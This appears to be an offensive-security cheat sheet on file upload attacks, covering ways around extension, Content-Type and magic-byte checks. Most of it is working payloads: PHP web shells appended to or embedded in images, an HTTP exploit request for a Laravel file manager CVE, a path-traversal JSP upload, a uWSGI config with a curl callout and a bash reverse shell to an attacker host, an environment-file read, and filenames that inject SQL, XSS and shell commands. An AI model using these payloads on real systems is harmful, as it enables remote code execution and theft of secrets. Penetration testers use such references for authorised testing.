Skip to main content
File upload functionality is a common attack vector. Misconfigured upload handlers can lead to RCE, XSS, XXE, SSRF, and more.

Dangerous File Extensions

.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .moduleWorking in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Perl: .pl, .cgi
Erlang Yaws: .yaws

Bypass Extension Checks

1

Uppercase Variations

Try uppercase: .pHp, .PHP5, .PhAr
2

Double Extensions

  • file.png.php
  • file.png.Php5
3

Special Characters at End

file.php%20
file.php%0a
file.php%00
file.php/
file.php.\\
file.php....
4

Null Bytes / Junk Data Between Extensions

file.png.php
file.php%00.png
file.php\x00.png
file.phpJunk123png
5

Reverse Extension Order

Some Apache misconfigurations execute anything with .php anywhere in the name:
file.php.png
6

NTFS Alternate Data Streams (Windows)

file.asax:.jpg  (creates empty file with forbidden extension)
file.asp::$data (creates non-empty file)

Bypass Content-Type and Magic Bytes

# Bypass Content-Type header check
Content-Type: image/png

# Bypass magic number check (prepend real image bytes)
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg

# Embed in PNG PLTE chunk (survives compression)
# See: https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs

# Append PHP shell to PNG
echo '<?php system($_REQUEST["cmd"]); ?>' >> img.png

Trailing Dot Bypass (CVE-2024-21546 - UniSharp LFM)

In UniSharp Laravel Filemanager < 2.9.1, uploading shell.php. causes the server to strip the trailing dot and save shell.php:
POST /profile/avatar HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

ZIP/Archive Attacks

GZIP Upload + Path Traversal (Tomcat JSP)

POST /fileupload?token=..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2fjsp%2F&file=shell.jsp HTTP/1.1
Content-Type: application/octet-stream
Content-Encoding: gzip

<gzip-compressed-bytes-of-your-jsp>
Then trigger:
GET /jsp/shell.jsp?cmd=id

uWSGI Configuration File RCE

If you can upload a .ini file to a uWSGI server:
[uwsgi]
; read from process stdout
body = @(exec://curl http://collaborator-unique-host.oastify.com)
; also: @(exec://bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1')

Content-Type Confusion → Arbitrary File Read

Some upload handlers trust parsed request body and copy file.filepath without enforcing multipart:
POST /form/vulnerable-form HTTP/1.1
Content-Type: application/json

{
  "files": {
    "document": {
      "filepath": "/proc/self/environ",
      "mimetype": "image/png",
      "originalFilename": "x.png"
    }
  }
}

wget Filename Truncation Bypass

wget truncates filenames at 236 characters. Name your file A*232 + ".php" + ".gif" to bypass extension checks while wget saves it as .php:
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080

# wget automatically shortens to .php
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')

Polyglot Files

Polyglot files are valid in multiple formats simultaneously (e.g., GIFAR = GIF + RAR). They bypass MIME type checks while containing malicious code.

Vulnerability Chaining

Path Traversal

Set filename to ../../../tmp/lol.png

SQL Injection

Set filename to sleep(10)-- -.jpg

XSS

Set filename to <svg onload=alert(document.domain)>

Command Injection

Set filename to ; sleep 10;

XXE via SVG

Upload SVG with external entity references

SSRF

Upload files that trigger server-side URL fetches

Magic Header Bytes Reference

PNG:  \x89PNG\r\n\x1a\n\0\0\0\rIHDR
JPG:  \xff\xd8\xff
GIF:  GIF87a or GIF89a
PDF:  %PDF-
ZIP:  PK\x03\x04

Tools

Build docs developers (and LLMs) love